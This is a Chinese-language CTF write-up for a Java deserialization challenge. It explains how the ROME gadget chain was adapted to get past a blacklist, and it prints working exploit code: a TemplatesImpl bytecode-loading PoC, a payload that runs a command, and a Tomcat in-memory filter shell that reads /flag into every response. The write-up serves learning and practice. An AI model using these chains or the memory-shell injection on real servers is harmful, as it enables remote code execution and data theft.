0x00 前言
EasyJaba 这个题目是陇原战”疫”2021网络安全大赛的一道题,最近正好在学习java反序列化和内存马的相关知识,通过这个题目可以很好的进行实践。
0x01 反序列化
题目给了jar包,直接用jd-gui反编译看看
Base64decode直接给了readObject,很明显有反序列化的考点了,不过这里还有个神秘的object1和BlacklistObjectInputStream,应该是给的一些障碍
简单看了一下应用没看到实现了Serailizable接口的类,看下lib,发现了rome
应该就是从经典的ROME 1.0 任意代码执行反序列化链子入手了
直接用idea反编译,这次代码清楚多了
简单分析下就是给ObjectInputStream加了俩黑名单
java.util.HashMap javax.management.BadAttributeValueExpException
再看ROME的反序列化链条
TemplatesImpl.getOutputProperties() NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) NativeMethodAccessorImpl.invoke(Object, Object[]) DelegatingMethodAccessorImpl.invoke(Object, Object[]) Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString() ObjectBean.toString() EqualsBean.beanHashCode() ObjectBean.hashCode() HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)
入口点就是从HashMap开始的,显然不能直接使用了
但是注意到代码直接给了toString
所以我们只需要把链子稍微改下就能用了,新的链子
TemplatesImpl.getOutputProperties() NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) NativeMethodAccessorImpl.invoke(Object, Object[]) DelegatingMethodAccessorImpl.invoke(Object, Object[]) Method.invoke(Object, Object...) ToStringBean.toString(String) ToStringBean.toString()
其实主要是利用了ROME的ToStringBean触发 可控.invoke(可控,NO_PARAMS)
然后利用TemplatesImpl这个类来实现任意代码执行
如何利用可控.invoke(可控,NO_PARAMS)实现任意代码执行
这其实是很多java反序列化导致任意代码执行的最后一环
这里我们利用的是TemplatesImpl.getOutputProperties()
简单写个Poc下断点跟下流程
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassPool; import javassist.CtClass; import java.util.Properties; public class Poc { public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{ static { //shell code here System.out.println("Hello Java"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[][] bytecodes = new byte[][]{clazz.toBytecode()}; Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class}; Constructor constructor = templatesimpl.getDeclaredConstructor(types); constructor.setAccessible(true); TransformerFactoryImpl tf = new TransformerFactoryImpl(); Properties p = new Properties(); Object[] params = {bytecodes,"whatever",p,1,tf}; Object object = constructor.newInstance(params); Method method = templatesimpl.getMethod("getOutputProperties"); method.invoke(object,null); } }
首先进入
因为我们之前反射调用templatesImple的构造函数构造了一个对象
Object[] params = {bytecodes,"whatever",p,1,tf}; Object object = constructor.newInstance(params);
此时该templatesImpl的_bytecodes就是我们注入的恶意类字节码
下一步跳转到newTransformer
然后跳转到getTransletInstance
因为我们的templatesImple _class属性为null,会进入defineTransletClasses();
这个方法大致意思就是将我们的字节码,通过Classloader defineClass转成Class并存储在templatesImple的_class属性中
此处还会对class的父类进行检查如果是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,则将 _transletIndex
指向该位置
回到getTransletInstance,可以发现此时会实力话我们注入的恶意类,同时会强制类型转换成AbstractTranslet类型,这两处也是为什么我们需要将我们的恶意类继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,不然无法触发此处构造函数
然后就能执行我们恶意类Evil里static代码块了。
言归正传,对于本题我们构造如下exp,这里也可以通过javassist手动加上父类
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(E.class.getName()); clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName())); byte[][] bytecodes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templatesimpl = new TemplatesImpl(); Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templatesimpl, bytecodes); Field fieldName = templatesimpl.getClass().getDeclaredField("_name"); fieldName.setAccessible(true); fieldName.set(templatesimpl, "test"); Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory"); fieldTfactory.setAccessible(true); fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); ObjectBean objectBean = new ObjectBean(Templates.class, templatesimpl);
其中E为我们构造的恶意类用来执行代码比如
public static class E{ static { try { java.lang.Runtime.getRuntime().exec("calc.exe"); }catch (Throwable t){} } }
将生成的payload打过去以后可以发现弹出了计算器
0x02 获得回显
在可以命令执行后尝试了各种方法,但是发现拿不到命令执行的结果,后来发现有题目提示不出网…
不出网意味着类似反弹shell,curl,dnslog之类外带回显方式不可用了。加上并没有给静态文件的目录,将回显写入静态文件的方式也不好操作。这里利用内存马的思想,动态注入一个filter来获得回显。但是还有一个坑点在于由于我们的data是在url里注入的,如果太长的话会爆Request too Large的错误。所以我们要尽量缩短生成的类字节码大小。最终构造的恶意类如下。
public static class E{ static { try { //这里采取Litch1师傅文章的思路,通过WebappClassLoader拿到StandardContext Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase"); Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader(); Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources"); WebappClassLoaderBaseResource.setAccessible(true); Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase); Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot"); Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null); //拿到StandardContext后就可以通过addFilterMap方法注入filter型内存马了 StandardContext standardContext = (StandardContext) getContext.invoke(resources, null); Filter filter = (servletRequest, servletResponse, filterChain) -> { FileInputStream fis = new FileInputStream("/flag"); byte[] buffer = new byte[16]; StringBuilder res = new StringBuilder(); while (fis.read(buffer) != -1) { res.append(new String(buffer)); buffer = new byte[16]; } fis.close(); servletResponse.getWriter().write(res.toString()); servletResponse.getWriter().flush(); }; FilterDef filterDef = new FilterDef(); filterDef.setFilterName("A"); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("A"); filterMap.addURLPattern("/*"); standardContext.addFilterMap(filterMap); standardContext.filterStart(); //本地测试时取消下面这行可以帮助观察是否注入成功 //System.out.println("injected"); }catch (Throwable t){ //t.printStackTrace(); } } }
然后实际测试的时候发现自己带命令执行的生成的字节码都太长了,于是索性只读取”/flag”试试。
第一次访问
第二次访问,成功拿到flag